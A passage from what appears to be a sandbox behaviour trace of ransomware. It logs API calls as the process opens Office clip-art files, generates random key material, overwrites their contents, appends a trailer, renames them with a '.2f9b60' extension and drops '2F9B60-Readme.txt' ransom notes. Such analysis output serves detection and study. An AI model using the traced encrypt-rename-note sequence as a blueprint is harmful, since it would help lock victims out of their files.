2 [0102.336] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="76") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="0a") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="51") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="c9") returned 2 [0102.336] RtlInitAnsiString (in: DestinationString=0x1e98fc48, SourceString="b9caefb1ff859ac303a6aab97720a51b034d525d760a51c9" | out: DestinationString="b9caefb1ff859ac303a6aab97720a51b034d525d760a51c9") [0102.336] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e98fc18, SourceString="b9caefb1ff859ac303a6aab97720a51b034d525d760a51c9", AllocateDestinationString=1 | out: DestinationString="b9caefb1ff859ac303a6aab97720a51b034d525d760a51c9") returned 0x0 [0102.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9940 [0102.336] wcscat (in: _Dest=0x4205d0f0, _Source="b9caefb1ff85" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b9caefb1ff85") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b9caefb1ff85" [0102.336] wcscat (in: _Dest=0x4205d0f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b9caefb1ff85.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b9caefb1ff85.2f9b60" [0102.337] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b9caefb1ff85.2f9b60", NtPathName=0x1e98fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b9caefb1ff85.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c920 [0105.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c920) returned 1 [0105.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0105.909] NtQueryInformationFile (in: FileHandle=0x15a0, IoStatusBlock=0x1e98fc58, FileInformation=0x1e98fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e98fc58, FileInformation=0x1e98fc68) returned 0x0 [0105.909] NtSetInformationFile (FileHandle=0x15a0, IoStatusBlock=0x1e98fc58, FileInformation=0x1e98fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 [0105.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9940) returned 1 [0105.915] FlushFileBuffers (hFile=0x15a0) returned 1 [0105.919] CloseHandle (hObject=0x15a0) returned 1 [0105.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a49b0 [0105.920] wcscpy (in: _Dest=0x202a49b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.920] wcscat (in: _Dest=0x202a49b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a49b0) returned 1 [0106.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e190) returned 1 Thread: id = 750 os_tid = 0x129c [0098.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf")) returned 0x20 [0099.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF", dwFileAttributes=0x20) returned 1 [0099.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x159c [0099.675] GetFileSizeEx (in: hFile=0x159c, lpFileSize=0x1e31f8a0 | out: lpFileSize=0x1e31f8a0*=5158) returned 1 [0099.675] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x1422, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.675] ReadFile (in: hFile=0x159c, lpBuffer=0x1e31f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e31f868, lpOverlapped=0x0 | out: lpBuffer=0x1e31f820*, lpNumberOfBytesRead=0x1e31f868*=0x4, lpOverlapped=0x0) returned 1 [0099.898] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262960 [0099.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629f0 [0099.899] NtQuerySystemTime (in: CurrentTime=0x1e31f760 | out: CurrentTime=0x1e31f760*=132462177054166000) returned 0x0 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x67a44265 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x5cf7338e [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x1cee8a45 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x7b0149e4 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x652d559c [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x5cf7338e [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x30836453 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x55d447e9 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x37b29a25 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x7f6c78f3 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x733faf85 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x5b14797 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x5600182 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x28dd449f [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x65c1befd [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x5d036774 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x1c3ca71f [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0xc184df2 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x66a66a5a [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x83228 [0099.899] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x3fb12517 [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x3a4078cd [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x2d441886 [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x1ab9ef53 [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x472cf49f [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x31ce2e20 [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x69f718b1 [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x579d4cac [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x1fb39e69 [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x380add9f [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x76e8dd86 [0099.900] RtlRandomEx (in: Seed=0x1e31f750 | out: Seed=0x1e31f750) returned 0x1cbb450c [0099.914] ReadFile (in: hFile=0x159c, lpBuffer=0x201a2d00, nNumberOfBytesToRead=0x1426, lpNumberOfBytesRead=0x1e31f750, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesRead=0x1e31f750*=0x1426, lpOverlapped=0x0) returned 1 [0100.337] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.337] WriteFile (in: hFile=0x159c, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0x1426, lpNumberOfBytesWritten=0x1e31f754, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x1e31f754*=0x1426, lpOverlapped=0x0) returned 1 [0100.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261310 [0100.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612b0 [0100.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202612b0) returned 1 [0100.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0100.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0100.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0100.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c440) returned 1 [0100.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202612b0 [0100.649] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.649] WriteFile (in: hFile=0x159c, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e31f870, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x1e31f870*=0x10a, lpOverlapped=0x0) returned 1 [0100.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263170 [0100.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263170) returned 1 [0100.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263170 [0100.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263140 [0100.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263140) returned 1 [0100.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f730 [0100.699] sprintf (in: _Dest=0x1cd9f730, _Format="%c%c" | out: _Dest="60") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f732, _Format="%c%c" | out: _Dest="bd") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f734, _Format="%c%c" | out: _Dest="1c") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f736, _Format="%c%c" | out: _Dest="f5") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f738, _Format="%c%c" | out: _Dest="fb") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f73a, _Format="%c%c" | out: _Dest="fb") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f73c, _Format="%c%c" | out: _Dest="35") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f73e, _Format="%c%c" | out: _Dest="02") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f740, _Format="%c%c" | out: _Dest="2a") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f742, _Format="%c%c" | out: _Dest="90") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f744, _Format="%c%c" | out: _Dest="f2") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f746, _Format="%c%c" | out: _Dest="d0") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f748, _Format="%c%c" | out: _Dest="80") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f74a, _Format="%c%c" | out: _Dest="47") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f74c, _Format="%c%c" | out: _Dest="6f") returned 2 [0100.699] sprintf (in: _Dest=0x1cd9f74e, _Format="%c%c" | out: _Dest="ac") returned 2 [0100.700] sprintf (in: _Dest=0x1cd9f750, _Format="%c%c" | out: _Dest="f4") returned 2 [0100.700] sprintf (in: _Dest=0x1cd9f752, _Format="%c%c" | out: _Dest="82") returned 2 [0100.700] sprintf (in: _Dest=0x1cd9f754, _Format="%c%c" | out: _Dest="52") returned 2 [0100.700] sprintf (in: _Dest=0x1cd9f756, _Format="%c%c" | out: _Dest="bd") returned 2 [0100.700] sprintf (in: _Dest=0x1cd9f758, _Format="%c%c" | out: _Dest="d1") returned 2 [0100.700] sprintf (in: _Dest=0x1cd9f75a, _Format="%c%c" | out: _Dest="5e") returned 2 [0100.700] sprintf (in: _Dest=0x1cd9f75c, _Format="%c%c" | out: _Dest="d4") returned 2 [0100.700] sprintf (in: _Dest=0x1cd9f75e, _Format="%c%c" | out: _Dest="47") returned 2 [0100.700] RtlInitAnsiString (in: DestinationString=0x1e31f8e8, SourceString="60bd1cf5fbfb35022a90f2d080476facf48252bdd15ed447" | out: DestinationString="60bd1cf5fbfb35022a90f2d080476facf48252bdd15ed447") [0100.700] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e31f8b8, SourceString="60bd1cf5fbfb35022a90f2d080476facf48252bdd15ed447", AllocateDestinationString=1 | out: DestinationString="60bd1cf5fbfb35022a90f2d080476facf48252bdd15ed447") returned 0x0 [0100.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e790 [0100.700] wcscat (in: _Dest=0x202b10f0, _Source="60bd1cf5fbfb" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60bd1cf5fbfb") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60bd1cf5fbfb" [0100.700] wcscat (in: _Dest=0x202b10f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60bd1cf5fbfb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60bd1cf5fbfb.2f9b60" [0100.700] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60bd1cf5fbfb.2f9b60", NtPathName=0x1e31f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60bd1cf5fbfb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ada20 [0103.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ada20) returned 1 [0103.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99480) returned 1 [0103.308] NtQueryInformationFile (in: FileHandle=0x159c, IoStatusBlock=0x1e31f8f8, FileInformation=0x1e31f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e31f8f8, FileInformation=0x1e31f908) returned 0x0 [0103.308] NtSetInformationFile (FileHandle=0x159c, IoStatusBlock=0x1e31f8f8, FileInformation=0x1e31f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0103.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b10f0) returned 1 [0103.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e790) returned 1 [0103.440] FlushFileBuffers (hFile=0x159c) returned 1 [0103.446] CloseHandle (hObject=0x159c) returned 1 [0103.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a4a0 [0103.855] wcscpy (in: _Dest=0x2050a4a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0103.855] wcscat (in: _Dest=0x2050a4a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0103.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0xffffffff [0103.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa80 [0104.838] WriteFile (in: hFile=0xa80, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1e31f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1e31f7b0*=0xba9, lpOverlapped=0x0) returned 1 [0104.975] CloseHandle (hObject=0xa80) returned 1 [0107.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a4a0) returned 1 [0107.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e220) returned 1 Thread: id = 751 os_tid = 0x12a0 [0098.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf")) returned 0x20 [0099.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF", dwFileAttributes=0x20) returned 1 [0099.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15b8 [0099.691] GetFileSizeEx (in: hFile=0x15b8, lpFileSize=0x1e90fba0 | out: lpFileSize=0x1e90fba0*=19768) returned 1 [0099.691] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x4d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.691] ReadFile (in: hFile=0x15b8, lpBuffer=0x1e90fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e90fb68, lpOverlapped=0x0 | out: lpBuffer=0x1e90fb20*, lpNumberOfBytesRead=0x1e90fb68*=0x4, lpOverlapped=0x0) returned 1 [0100.210] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263110 [0100.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631a0 [0100.211] NtQuerySystemTime (in: CurrentTime=0x1e90fa60 | out: CurrentTime=0x1e90fa60*=132462177057286000) returned 0x0 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x44b9596a [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x406a49f4 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x7177b7c9 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x231eb42 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x25cc402 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x201595ce [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x6dc081c5 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x4de7edc9 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x23ba3fe9 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x3998e803 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x3456931f [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x44a0a99 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x36d6e5a6 [0100.211] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0xaac8d5e [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x41e008ae [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x21cf2743 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x514cd421 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x10f37089 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x3f23d9d1 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x5f20d65c [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x27716df0 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x1efbec27 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x4ee2161f [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x6a93e65 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x74f211e7 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x24e3da10 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x44722577 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x50cb83ca [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x73733a83 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x2229a9e7 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x20ab07b9 [0100.212] RtlRandomEx (in: Seed=0x1e90fa50 | out: Seed=0x1e90fa50) returned 0x662665fa [0100.222] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.222] ReadFile (in: hFile=0x15b8, lpBuffer=0x201900b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e90fac0, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesRead=0x1e90fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.422] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0100.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebc580 [0100.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261460 [0100.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261460) returned 1 [0100.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f9f0f0 [0100.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261460 [0100.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0100.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261370) returned 1 [0100.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc580) returned 1 [0100.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0100.877] WriteFile (in: hFile=0x15b8, lpBuffer=0x41f9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e90fac0, lpOverlapped=0x0 | out: lpBuffer=0x41f9f0f0*, lpNumberOfBytesWritten=0x1e90fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9f0f0) returned 1 [0101.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0101.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fbb0 [0101.834] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.834] WriteFile (in: hFile=0x15b8, lpBuffer=0x420602f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e90fb70, lpOverlapped=0x0 | out: lpBuffer=0x420602f0*, lpNumberOfBytesWritten=0x1e90fb70*=0x10a, lpOverlapped=0x0) returned 1 [0102.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0102.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263050) returned 1 [0102.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0102.273] 